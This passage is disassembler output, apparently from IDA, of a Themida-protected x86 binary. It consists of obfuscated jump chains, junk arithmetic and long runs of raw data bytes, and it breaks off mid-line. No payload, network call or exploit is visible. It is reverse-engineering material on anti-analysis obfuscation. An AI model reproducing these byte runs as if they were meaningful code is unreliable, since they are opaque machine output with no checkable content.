mov [esp], ebx mov ebx, 2 mov edx, ebx mov ebx, [esp] add esp, 4 jmp loc_55A36C ; --------------------------------------------------------------------------- dd 7D5BEA81h, 3C8B4630h, 1A12E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F666: ; CODE XREF: Themida_:00552722j pop eax sub dl, cl pop ecx sub al, 42h add al, dl add al, 42h pop edx push edx jmp loc_5563C1 ; --------------------------------------------------------------------------- db 0BBh dd 6AB26DBDh, 0F702EBC1h, 0A8EB81DBh, 8171681Bh, 0FE46ABC3h dd 4E3C165h, 4C70E9h, 86C28100h, 0E93AF9EEh, 0FFFF6223h dd 106968h, 241C8900h, 0B850E389h, 3C3005E7h, 0FFD5DEE9h dd 0D7F281FFh, 908123Bh, 196DE9D6h, 0BB530000h, 41D51D7Eh dd 0A05C4FBEh, 5BDE315Bh, 685EF131h, 3FACh, 0BF243C89h dd 31086C98h, 0FF743AE9h, 5AD000FFh, 8324148Bh, 0C33004C4h dd 0FF3EA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6F5: ; CODE XREF: Themida_:00561952j pop ebx mov ecx, eax jmp loc_5659D9 ; --------------------------------------------------------------------------- db 5Fh, 51h, 0E9h dd 0FFFFC157h, 83240C8Bh, 348904ECh, 0E9E68924h, 2A85h dd 2B04D8F6h, 1AE9C528h, 8BFFFF49h, 0C483241Ch, 5F545704h dd 4C781h, 0C7830000h, 243C8704h, 0FFE641E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F739: ; CODE XREF: Themida_:0055EE94j sub [esp], esi sub dword ptr [esp], 29C65DBEh pop esi jmp loc_566D13 ; --------------------------------------------------------------------------- db 81h, 0F3h, 1Ch dd 0F7775F49h, 0BFE957D3h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F757: ; CODE XREF: Themida_:0055B192j shl esi, 7 jmp loc_55C5FB ; --------------------------------------------------------------------------- db 5Fh dd 0FFA8E1E9h, 1F1968FFh, 34890000h, 2A8D6824h, 4890000h dd 0F1D2E924h, 9C51FFFFh, 0FF1F6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F781: ; CODE XREF: Themida_:0055EDD4j push edx mov edx, 1F16C97Ch xor ebp, edx pop edx add ebx, ebp mov ebp, [esp] jmp loc_56026F ; --------------------------------------------------------------------------- loc_55F794: ; CODE XREF: Themida_:00555B6Fj mov ebp, 6B081EFEh sub edx, ebp jmp loc_562F5D ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 24248B24h, 0FFEC61E9h, 53555BFFh dd 609DE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F7BA: ; CODE XREF: Themida_:005537B9j push 0F01h mov [esp], ebp jmp loc_563CD0 ; --------------------------------------------------------------------------- db 29h dd 0FA015BDAh, 3785C281h, 0C2817441h, 23B29FFh, 0FF7F0AE9h dd 4BFFFh, 0F8290000h, 2376E95Fh, 0BE56FFFFh, 54917D43h dd 8CE9464Eh, 5AFFFF96h, 50F88950h, 3C8B5859h, 0D19E924h dd 0FFBA0000h, 29FFFFFFh, 0D5F75AD5h, 0A6F5F581h, 5555F248h dd 0C42C4BDh, 0A0C58133h, 4D23295Ch, 0B968DDF7h, 8900004Bh dd 9E9243Ch db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F833: ; CODE XREF: Themida_:00554B81j mov bh, ah pop eax xor bh, 11h jmp loc_562121 ; --------------------------------------------------------------------------- dw 6DBAh dd 0E948F50Ah, 0FFFFD51Bh, 0E588EA88h, 0E9C5FE58h, 3760h dd 0AFE9CB29h, 0B9FFFF97h, 1267523h, 0EDE9CD31h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F867: ; CODE XREF: Themida_:00555AD9j mov esi, [esp] sub esp, 4 mov [esp], esi jmp loc_561F30 ; --------------------------------------------------------------------------- dd 5C243C87h, 909AE951h, 0C781FFFFh, 4, 4C781h, 3C870000h dd 0EC835C24h, 241C8904h, 0FF4499E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F89D: ; CODE XREF: Themida_:00561BD0j sub bh, 7Dh push ecx jmp loc_556651 ; --------------------------------------------------------------------------- loc_55F8A6: ; CODE XREF: Themida_:00559B83j push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_555E4C ; --------------------------------------------------------------------------- loc_55F8B3: ; CODE XREF: Themida_:00560916j add esi, ebx jmp loc_560D9A ; --------------------------------------------------------------------------- aVs? db 'Vé!?',0 align 10h dd 4C4835Eh, 4EC8151h, 89000000h, 4832424h, 2EE90424h dd 83FFFFC6h, 0BF5704C4h, 4, 835FFA01h, 143302C2h, 24143124h dd 790E9h db 0 ; --------------------------------------------------------------------------- loc_55F8F1: ; CODE XREF: Themida_:0055C872j add al, 18h jmp loc_552B06 ; --------------------------------------------------------------------------- dd 55E28952h, 4BDh, 5DEA0100h, 0E904EA83h, 4F43h, 4246C81h dd 508B5E41h, 0FF609EE9h, 4C481FFh, 68000000h, 53EEh, 89240C89h dd 7CE9E1h, 0C4810000h, 4, 8904EC83h, 51532404h, 7134E9h dd 0F9EA8100h, 15C225Eh, 0F9C281F2h, 8B5C225Eh, 9DE92434h dd 81FFFF82h, 5B109FC6h, 0E9F2299Ch, 602Bh ; --------------------------------------------------------------------------- loc_55F964: ; CODE XREF: Themida_:0056237Dj sub eax, 8F88E940h sub esi, eax jmp loc_559B88 ; --------------------------------------------------------------------------- dd 87170BEh, 0E3895314h, 4C381h, 0EB810000h, 4, 5E91E9h dd 0CAEE8100h, 31EEAD1Ch, 0E9315EF5h, 58D9685Dh, 1C890000h dd 5959E924h, 0C183FFFFh, 4FE4E902h, 0C181FFFFh, 4, 0C606857h dd 97E920A0h, 81FFFF5Fh, 0D70E94EAh, 9A64E96Eh, 433FFFFh dd 3C895C24h, 1F0CE924h, 0C2810000h, 0BE86A5D8h, 15AD789h dd 243C8BFAh, 81E28952h, 4C2h, 3523E900h, 148B0000h, 22B06824h dd 4890000h, 53E08924h, 4BBh, 5BD80100h, 4B951h, 0C8010000h dd 74FF5059h, 48B0424h, 0E7895724h, 4BA52h, 0CE90000h dd 89FFFFCFh, 0CE3E9E7h, 14890000h, 50BDBA24h, 0D5090D96h dd 5A2434FFh, 4C481h, 0E9520000h, 0FFFFFDC2h, 4E7D3EBEh dd 5EF2093Ah, 5805CA81h, 0CAE97EDCh db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA57: ; CODE XREF: Themida_:005518F8j cmp eax, edx jz loc_56306A push ebx jmp loc_55BEC3 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 4EA81h, 14870000h, 3DFEE924h, 0EC800000h, 58E52875h dd 0FFC03AE9h, 61768FFh, 24890000h, 71CB6824h, 4890000h dd 0BF575124h, 2D001295h, 83E9DFF7h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FAA3: ; CODE XREF: Themida_:005572ACj add edx, 4 jmp loc_562892 ; --------------------------------------------------------------------------- loc_55FAAE: ; CODE XREF: Themida_:00558D91j add ebx, ecx add ebx, 57483797h pop ecx jmp loc_55540D ; --------------------------------------------------------------------------- dd 5204C483h, 86540368h, 268FE91Dh, 8F5C0000h, 248B2404h dd 0C8B70F24h, 0FF626CE9h, 4A142DFFh, 0E9535167h, 0EE1h dd 9E9D701h, 81000041h, 4EEh, 24348700h, 6082E95Ch, 0F74A0000h dd 0E1E2E9D2h, 19BBFFFFh, 8328E54Eh, 0E38101EBh, 24F82C0Dh dd 0D34E9h, 0BB5300h, 57000000h, 0A852E8BFh, 0AAE7816Ah dd 81359C6Dh, 5E1748F7h, 0E9FB017Fh, 0FFFFC030h, 8E152F68h dd 0EF815F4Bh, 2423B038h, 0FFA6ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FB45: ; CODE XREF: Themida_:0055A0C8j mov [esp], ecx jmp loc_55AC8E ; --------------------------------------------------------------------------- loc_55FB4D: ; CODE XREF: Themida_:0055CB48j mov edx, [esp] add esp, 4 jmp loc_565A86 ; --------------------------------------------------------------------------- loc_55FB5B: ; CODE XREF: Themida_:0055B266j sub esi, ebx push ecx mov ecx, 50437BDAh sub esi, ecx pop ecx pop ebx sub ebx, esi pop esi jmp loc_55DDBB ; --------------------------------------------------------------------------- loc_55FB6F: ; CODE XREF: Themida_:0055CAFEj sub ebx, 13A948ACh push dword ptr [eax] jmp loc_5516EE ; --------------------------------------------------------------------------- loc_55FB7C: ; CODE XREF: Themida_:0055C6B6j push esp pop ebx push edi mov edi, 59126F63h sub edi, 198E079Ch or edi, 3B3F40D7h or edi, 5108799Eh jmp loc_5584DE ; --------------------------------------------------------------------------- db 0BAh dd 564E2648h, 8E9D029h, 1FFFFA7h, 685E5BDAh, 4174h, 0FF241489h dd 0FF042474h, 0A8E92434h, 1FFFF40h, 4055AD0h, 87000000h dd 248B2404h, 4C48324h, 0FF8B2FE9h, 4BDFFh, 0EF010000h dd 5D2434FFh, 0FFC81AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FBE5: ; CODE XREF: Themida_:0055C784j mov ecx, ebp pop ebp mov esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_553BC2 ; --------------------------------------------------------------------------- dw 5152h dd 0A605A2B9h, 41BE567Fh, 815EC54Eh, 730DD5C1h, 81F12975h dd 730DD5E9h, 36E95E75h, 5AFFFF64h, 0FF765FE9h, 241C8BFFh dd 6604C483h, 2831B551h, 5F53E9EBh, 895CFFFFh, 0D2BB241Ch dd 317D793Ch, 0E904245Ch, 0FFFFE8C1h, 24148B66h, 6802C483h dd 7EF4h, 2351E9h, 4B53BF00h, 0FB897DB1h, 1FEB815Fh, 83209B58h dd 0EBC1FFEBh, 6808h, 4810000h, 0DE3C8624h, 241C2965h dd 1F8EE9h db 0 ; --------------------------------------------------------------------------- loc_55FC79: ; CODE XREF: Themida_:00566D89j pop edi xchg eax, [esp] pop esp add eax, 0E041054h and ecx, eax mov eax, [esp] add esp, 4 shr ecx, 0Bh push 1036h jmp loc_55DB7B ; --------------------------------------------------------------------------- loc_55FC9B: ; CODE XREF: Themida_:0055B3E8j sub ebp, 4 xchg ebp, [esp] jmp loc_5667A0 ; --------------------------------------------------------------------------- dw 0F681h dd 68B17C11h, 4EFCC581h, 35E925D8h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCB7: ; CODE XREF: Themida_:005612EEj xchg edi, [esp] mov esp, [esp] jmp loc_55FF6E ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 56CEE9h db 0 ; --------------------------------------------------------------------------- loc_55FCCD: ; CODE XREF: Themida_:00553F91j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_55459A push 1640h mov [esp], ecx mov ecx, 28h sub ecx, 35313F98h jmp loc_55700D ; --------------------------------------------------------------------------- loc_55FCFF: ; CODE XREF: Themida_:00557D2Ej not cl jmp loc_556E95 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFF7438h, 0F028702Ch, 0FFE8A8E9h, 0F9015BFFh, 240C335Fh dd 0FF3F3AE9h, 2454F6FFh, 0FF16E901h, 0C89FFFFh, 0B287E924h dd 0D768FFFFh, 0E900006Bh, 0FFFF77E9h, 42474FFh, 24048F5Fh dd 8F24248Bh, 505C2404h, 0DF260AB8h, 8BC23114h, 89502404h dd 405E0h, 4050000h, 50000000h, 42474FFh, 24048F58h, 197CE95Ch dd 2C8BFFFFh, 0E9545124h, 0FFFF43F1h ; --------------------------------------------------------------------------- loc_55FD7C: ; CODE XREF: Themida_:00552185j mov ebp, 537F26CAh sub ebp, 0CC240C0h or ebp, 70340410h and ebp, 51D7641Fh or ebp, 0CD52A07h add ebp, 49544D4h sub ebp, 0D92C2041h add eax, ebp pop ebp mov edi, eax jmp loc_55B990 ; --------------------------------------------------------------------------- db 89h dd 8952240Ch, 4C281E2h, 83000000h, 148704EAh, 24895C24h dd 0EC815024h, 4, 0B9240C89h, 4, 159C889h, 58042444h, 4C18159h dd 57000000h, 2BB53h, 5F530000h, 0FFFF24E9h, 0EE8159FFh dd 1C7E1318h, 0C681CE01h, 1C7E1318h, 0FFADAEE9h, 7CE681FFh dd 81298669h, 0D457DEC6h, 50C6E9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE16: ; CODE XREF: Themida_:00563899j pop ax jmp loc_554891 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0A4E90000h, 0D2FFFF6Fh, 0E99C2424h, 0FFFF18BEh, 0EF81D7F7h dd 75BC4494h, 0FF5170E9h, 0ADEE81FFh, 0E960223Fh, 0FFFF77FEh dd 15DE829h, 3C8758C7h, 0C3315C24h, 81E28952h, 4ECh, 24048900h dd 8904EC83h, 8DB9240Ch, 552FF139h, 0BF4B5BBDh, 69F58103h dd 31468D0Eh, 84E95DE9h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE7F: ; CODE XREF: Themida_:0055EA88j mov esi, 612B282Ah push ecx jmp loc_55EDBD ; --------------------------------------------------------------------------- dw 8159h dd 1C7FDBC3h, 81F3291Ah, 1C7FDBEBh, 0F3815E1Ah, 9F7E9347h dd 0FF3F0DE9h, 4C481FFh, 33000000h, 0F6E92434h, 6600000Eh dd 68240C8Bh, 4257h, 89243C89h, 0B5BB53E7h, 68702255h dd 2BABh, 0B9240C89h, 69006621h, 0E904E1C1h, 0FFFFA847h dd 2414C381h, 0D6823F3h, 0E9000015h, 0FFFFB8B2h, 4BD5559h dd 29000000h, 7914E9EAh, 34FFFFFFh, 0C51CE924h, 1A35FFFFh dd 0E99CE338h, 0FFFFDFA5h, 875FF801h, 0E95C2404h, 0FFFF61D4h ; --------------------------------------------------------------------------- loc_55FF18: ; CODE XREF: Themida_:005530E8j pop ecx or ebp, eax mov eax, [esp] push edx mov edx, esp push eax mov eax, 759510CAh xor eax, 46D00957h xor eax, 33451999h add edx, eax jmp loc_561D1A ; --------------------------------------------------------------------------- loc_55FF38: ; CODE XREF: Themida_:005588A8j pop esi sub [esp+4], ecx sub dword ptr [esp+4], 3CB94B22h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_562E76 ; --------------------------------------------------------------------------- db 1 dd 87005C8h, 0C8B416Bh, 0B8D2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF6E: ; CODE XREF: Themida_:0055FCBDj mov [esp], esi push 4C57h mov [esp], ecx push 3508723Eh mov ecx, [esp] jmp loc_55AB79 ; --------------------------------------------------------------------------- dw 0E2C1h dd 0DC28107h, 572A460Ch, 0FF9666E9h, 31B850FFh, 0E961B122h dd 0FFFF6A97h ; --------------------------------------------------------------------------- loc_55FFA0: ; CODE XREF: Themida_:0055B41Fj xor esi, 0AFD6554Fh add edi, esi pop esi jmp loc_55ED9D ; --------------------------------------------------------------------------- loc_55FFAE: ; CODE XREF: Themida_:00551DDDj mov ecx, 43876D96h dec ecx add ecx, 4A4C0F17h neg ecx or ecx, 2135FD5h not ecx jmp loc_55EEAD ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 0E95C2414h, 0FFFFCF0Ch, 0EB81CB01h, 3F910B8Fh dd 4D44E9h, 4C28100h, 0E9000000h, 2AFDh, 4C181h, 0C1810000h dd 4, 4291E9h, 8BCF0900h, 0C483240Ch, 0ECEF8104h, 0C15DBB5Bh dd 0F78103E7h, 0A91734AEh, 0F5453C05h, 2DF8290Ah, 0AF5453Ch dd 43BEE9h db 0 ; --------------------------------------------------------------------------- loc_560029: ; CODE XREF: Themida_:0056662Aj add edx, 4 jmp loc_554013 ; --------------------------------------------------------------------------- dd 54243489h, 5324348Bh, 5404EC83h, 5324048Fh, 4BBh, 245C0100h dd 565B5B04h, 4BEh, 8BF30100h, 0C4812434h, 4, 4BE56h, 0F3010000h dd 4EC835Eh, 0FF241C89h, 8B042474h, 0C483241Ch, 24048F04h dd 0FFC352E9h, 241433FFh, 0F624248Bh, 0B60F66E1h, 566866CCh dd 0C896600h, 0B60F6624h, 9C5166C8h, 0FF164DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5600A1: ; CODE XREF: Themida_:00554808j mov edx, [esp] jmp loc_5640F8 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0EFh dd 4, 2474FF57h, 48F5F04h, 4DE95C24h, 81FFFF75h, 4C5h dd 4C58100h, 55000000h, 42474FFh, 0D889E95Dh, 0EE81FFFFh dd 0E881E90h, 0FF3BABE9h, 3B02BAFFh, 0C5812413h, 6A9326CBh dd 0ED81D501h, 6A9326CBh, 0E9E8295Ah, 0FFFF3E34h, 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi push 7C03h mov [esp], eax push 6BBE69A4h pop eax and eax, 5BBA2CDCh dec eax not eax sub eax, 0B445D778h mov edi, eax pop eax push edi jmp loc_55E8E6 ; --------------------------------------------------------------------------- loc_560141: ; CODE XREF: Themida_:00560708j mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp add ebx, 61278BEh not ebx xchg edx, ebx inc edx push ebx push edx pop ebx pop edx jmp loc_557487 ; --------------------------------------------------------------------------- db 0F6h, 1Ch, 24h dd 1584E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56016A: ; CODE XREF: Themida_:00565A3Aj pop edx jmp loc_56691F ; --------------------------------------------------------------------------- dd 8105E7C1h, 3172EAE7h, 0C4C78116h, 81EDCEBFh, 0D066AC6h dd 81FE2963h, 0D066AEEh, 243C8B63h, 8704C483h, 248B2434h dd 48F5424h, 12626824h, 2C890000h, 4BD24h, 6C810000h, 7CF80424h dd 6C0153F8h, 0A3E90424h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601BB: ; CODE XREF: Themida_:00553992j mov ebp, 87B523Ah jmp loc_5564C3 ; --------------------------------------------------------------------------- loc_5601C5: ; CODE XREF: Themida_:00556EA4j mov bl, 0D2h or bl, 0A7h push eax mov al, 70h sub al, 51h neg al dec al not al shl al, 5 xor al, 11h sub bl, al pop eax jmp loc_565E4C ; --------------------------------------------------------------------------- loc_5601E2: ; CODE XREF: Themida_:0055A7F9j push edi mov edi, 69F55B94h add edi, 6C504154h not edi shr edi, 1 sub edi, 9A450B38h jmp loc_551D09 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 92E90000h, 0AD000049h, 49BD5552h, 814EF530h dd 284F25CDh, 4ED4680Dh, 14890000h, 13A5BA24h, 0EAC10190h dd 6EAC102h, 0BD21C281h, 0D5296AEFh, 0FF6050E9h, 0E9EB01FFh dd 0FFFF3F55h ; --------------------------------------------------------------------------- loc_560240: ; CODE XREF: Themida_:00559942j push edi mov edi, esp add edi, 4 push ecx push eax mov eax, 3413CE2h not eax jmp loc_561E79 ; --------------------------------------------------------------------------- loc_560257: ; CODE XREF: Themida_:00553F06j xchg ecx, [esp] pop esp add esp, 4 push dword ptr [esp] pop ebx push 2247h jmp loc_55CDF8 ; --------------------------------------------------------------------------- loc_56026F: ; CODE XREF: Themida_:0055F78Fj add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_5516EE ; --------------------------------------------------------------------------- dw 0C681h dd 1, 68FFC683h, 2145h, 0BA241489h, 308C21D2h, 3C01F281h dd 0D609651Fh, 8124148Bh, 4C4h, 86EE8100h, 9679E16Dh, 0C631D0F7h dd 68E9E9h, 500F0400h, 405E089h, 57000000h, 0FFF50CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5602D1: ; CODE XREF: Themida_:00559274j add esi, 0FE000D64h sub edx, 8F43BB4h add edx, 64F616B5h add edx, esi sub edx, 64F616B5h add edx, 8F43BB4h jmp loc_55DDD5 ; --------------------------------------------------------------------------- loc_5602F6: ; CODE XREF: Themida_:00565E73j sub edi, ebp pop ebp push dword ptr [esp] jmp loc_55C0F9 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 9 dd 66FFFF49h, 66240C33h, 66240C31h, 6866D1F7h, 896649FCh dd 0EBE9240Ch, 0BFFFFF1Dh, 4, 835FFB01h, 1C8704C3h, 24248B24h dd 51A8B850h, 1605553Fh, 4869C72Bh, 0FFFFBA52h, 0D001FFFFh dd 8124148Bh, 4C4h, 42D4800h, 31A7DB22h, 0E7C158C7h, 5E78103h dd 814F1454h, 3FFEEFh, 4EC814Ch, 89000000h, 5F58243Ch dd 6434E9h, 241C8900h, 56A6E9h, 8BD30100h, 6DE92414h, 81FFFF24h dd 0C0042444h, 81442B34h, 41042444h, 81508B5Eh, 6E042444h dd 1390361h, 8104245Ch, 6E04246Ch, 0E9390361h, 0FFFFF55Ch dd 5E243429h, 8103E6C1h, 373937EEh, 0FEE95215h, 5A00000Fh dd 30E9C229h, 0BBFFFF2Dh, 2450305Dh, 255BD821h, 34CC67A8h dd 8D172805h, 0D5EE8102h, 0E9550847h, 1227h ; --------------------------------------------------------------------------- loc_5603E8: ; CODE XREF: Themida_:0055D564j add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_55386D ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 3CBB5352h, 89377E5Ah, 0D3895BDAh, 81EBD15Ah, 0FDF33FC3h dd 8C06E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560412: ; CODE XREF: Themida_:0055377Bj and eax, ebx pop ebx jmp loc_55734E ; --------------------------------------------------------------------------- dw 2C33h dd 0B9E95C24h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560423: ; CODE XREF: Themida_:0055C714j mov eax, [esp] push eax jmp loc_56203F ; --------------------------------------------------------------------------- dd 2CEF68h, 24348900h, 0C681E689h, 4, 4C685557h, 5D5F433Bh dd 0BCC4B8BFh, 8BEF01A0h, 0C483242Ch, 0E91EE904h, 3C33FFFFh dd 243C3124h, 5C243C33h, 0E99CC138h, 0FFFF1286h, 53E9C701h dd 87FFFFD4h, 895C2434h, 1AB5240Ch, 22CE6866h, 24148966h dd 0BDB05066h, 8B66C688h, 0C4832404h, 66F53002h, 0C546E95Ah dd 0EA29FFFFh, 32962D5Dh, 0D0012575h, 35BDE9h, 4C48300h dd 6C5268h, 24048900h, 6EEDBE56h, 0E90C8Ch, 81FFFFC2h dd 302618E9h, 81D92912h, 302618C1h, 0B5FEE912h, 0EA81FFFFh dd 4, 5C241487h, 68240C89h, 3FD8h, 0E9243C89h, 4604h, 0FF1201E9h dd 4EC83FFh, 2F81E9h db 0 ; --------------------------------------------------------------------------- loc_5604F5: ; CODE XREF: Themida_:0055CA00j push eax mov eax, 1A702BD2h xor edx, eax pop eax jmp loc_557DDC ; --------------------------------------------------------------------------- db 89h dd 4BA2414h, 526AA81Fh, 0FF636EE9h, 24048BFFh, 4C481h dd 0CE90000h, 81FFFFE4h, 4C4h, 4641E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56052A: ; CODE XREF: Themida_:0055308Aj add edx, 1348022Dh jmp loc_553DE4 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0F3h dd 51762020h, 0E3C1D3F7h, 92C38107h, 0E95D5B6Ah, 0C90h dd 294F281h, 0D0315AB6h, 0FFF6BEE9h, 241489FFh, 0FF7B24E9h dd 0F7E987FFh, 81E987D5h, 0FFFFFFC1h, 4F7168FFh, 1C890000h dd 70BF5724h, 89657D2Dh, 5C78E9FBh, 0D0880000h, 5A58C788h dd 0B6E9FA88h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56058F: ; CODE XREF: Themida_:00559498j or edi, 35306232h dec edi add edi, 436C4FA3h or edi, 80864ABh sub edi, 7D554A17h add edi, 0F3E86318h mov eax, edi pop edi add eax, edx jmp loc_554B86 ; --------------------------------------------------------------------------- aI4Ss db '‰4$é˜ ',0 align 10h dd 4BA5259h, 29000000h, 1C875AD3h, 0BA4AE924h, 2C89FFFFh dd 81E58924h, 4C5h, 4ED8300h, 8B242C87h, 4892424h, 388BB824h dd 60BE02B4h, 81384177h, 25E42EEh, 92CE8158h, 8150E248h dd 4B6111F6h, 58C631F2h, 311F1F2Dh, 91AFE915h, 0F781FFFFh dd 1AE19DDFh, 0E95FFD29h, 0FFFFCBCBh, 5740D0F7h, 0FF3CD6BFh dd 7CBB5308h, 0E9569D19h, 0FFFF23F8h, 0C9E9515Ch db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56063B: ; CODE XREF: Themida_:00555380j mov [esp], ecx jmp loc_5568A3 ; --------------------------------------------------------------------------- db 83h dd 64E904EEh db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56064B: ; CODE XREF: Themida_:005521FDj push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_55CD32 ; --------------------------------------------------------------------------- db 66h dd 52240C8Bh, 106FE9h db 0 ; --------------------------------------------------------------------------- loc_560681: ; CODE XREF: Themida_:0055EF94j mov cl, dl mov [edi+28h], cl push dword ptr [esp] pop ecx jmp loc_5543C6 ; --------------------------------------------------------------------------- db 68h dd 6B42h, 55240489h, 0D066D7BDh, 0CD814542h, 47145BFBh dd 0A6CD81h, 0F58163D4h, 59061644h, 73FDF581h, 0F58164CAh dd 53096FD2h, 13E9DDF7h, 0B8FFFF8Bh, 2D6564ADh, 7EAD68h dd 24348900h, 562AE9h, 2434FF00h, 8124048Bh, 4C4h, 0E1895100h dd 4C181h, 51500000h, 36BEE9h db 0 ; --------------------------------------------------------------------------- loc_5606F1: ; CODE XREF: Themida_:0055E0A2j push 63491DA0h mov ebx, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push eax jmp loc_560141 ; --------------------------------------------------------------------------- db 56h, 0E9h, 6Bh dd 66FFFFD7h, 8124048Bh, 4ECh, 24048900h, 3992E9h, 0FC4E900h dd 0EC83FFFFh, 24248904h, 0FF6509E9h db 0FFh ; --------------------------------------------------------------------------- loc_560735: ; CODE XREF: Themida_:00560833j push ebx jmp loc_562203 ; --------------------------------------------------------------------------- db 0B8h dd 0FEh, 0FFD8DDE9h, 4B8FFh, 0C1010000h, 240C8758h, 0F24248Bh dd 1FE9C8AFh, 52FFFFF0h, 1BAh, 5AD32900h, 4EC814Bh, 89000000h dd 0B9512434h, 5EE3F4Ch, 3FE2F181h, 0E9C127A5h, 4EC8306h dd 0BB241C89h, 66996020h, 4E82E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56078E: ; CODE XREF: Themida_:005568A6j not ebp push ebp push dword ptr [esp+4] mov ebp, [esp] push 708Ah mov [esp], edx mov edx, esp jmp loc_56112C ; --------------------------------------------------------------------------- db 81h dd 8C5009F2h, 42D2F728h, 0EA81D2F7h, 7C06535Fh, 5CE4EA81h dd 0D7298CC0h, 4892E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5607C6: ; CODE XREF: Themida_:005642BDj pop esi jmp loc_55797D ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 8704E983h, 895C240Ch, 77E92424h, 83FFFF1Ah dd 0C0E904C5h, 29FFFF36h, 2434FFC6h, 4BB4E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5607F6: ; CODE XREF: Themida_:00557579j push eax jmp loc_5562A0 ; --------------------------------------------------------------------------- loc_5607FC: ; CODE XREF: Themida_:005579C7j mov edx, ecx pop ecx sub esp, 4 jmp loc_5647A0 ; --------------------------------------------------------------------------- db 56h dd 6870D7BEh, 8BF08943h, 0C4832434h, 3E8C104h, 0E957E0D1h dd 0FFFF9C9Eh ; --------------------------------------------------------------------------- loc_560820: ; CODE XREF: Themida_:0055853Ej add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push eax mov al, 0E1h jmp loc_560735 ; --------------------------------------------------------------------------- aIssL db '‰áéÂL',0 db 0 ; --------------------------------------------------------------------------- loc_56083F: ; CODE XREF: Themida_:0056150Aj push 746453ECh jmp loc_55B6D5 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0D4h dd 8130CD4Bh, 71631AEBh, 5BDD89BAh, 8106EDC1h, 0C641C5E5h dd 2FE58105h, 81223E59h, 6B5E75C5h, 0CBF58134h, 0E9773B03h dd 0FFFFC7B4h ; --------------------------------------------------------------------------- loc_560878: ; CODE XREF: Themida_:00563005j add ebp, 4 xchg ebp, [esp] pop esp and eax, ebx push dword ptr [esp] pop ebx push esi jmp loc_55A3E3 ; --------------------------------------------------------------------------- aZa db 'Z€Ä³',0 dd 0B60F58E3h, 48F66C0h, 0E50E987h, 3C8BFFFFh, 4C48324h dd 14C5E581h, 50532A1Ah, 1D3A85B8h, 58C38966h, 575BDD31h dd 0FF698EE9h, 0BE5655FFh, 763519BDh, 46EE814Eh, 8918B2D4h dd 0D5F75EF5h, 7196CD81h, 4A681CEAh, 8900000Ah, 33BA2414h dd 0E97EFA15h, 0FFFF8EC6h, 4C481h, 89520000h, 4C281E2h dd 0E9000000h, 0FFFFD744h, 4E9835Fh, 0E904EC83h, 3BCFh ; --------------------------------------------------------------------------- loc_560908: ; CODE XREF: Themida_:00556CA2j not ebx add ebx, 572262C6h add ebx, 0F2355205h jmp loc_55F8B3 ; --------------------------------------------------------------------------- db 1 aSsB db 'èéÇB',0 align 2 loc_560922: ; CODE XREF: Themida_:00562E42j add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5516EE ; --------------------------------------------------------------------------- dw 36BBh dd 2901E429h, 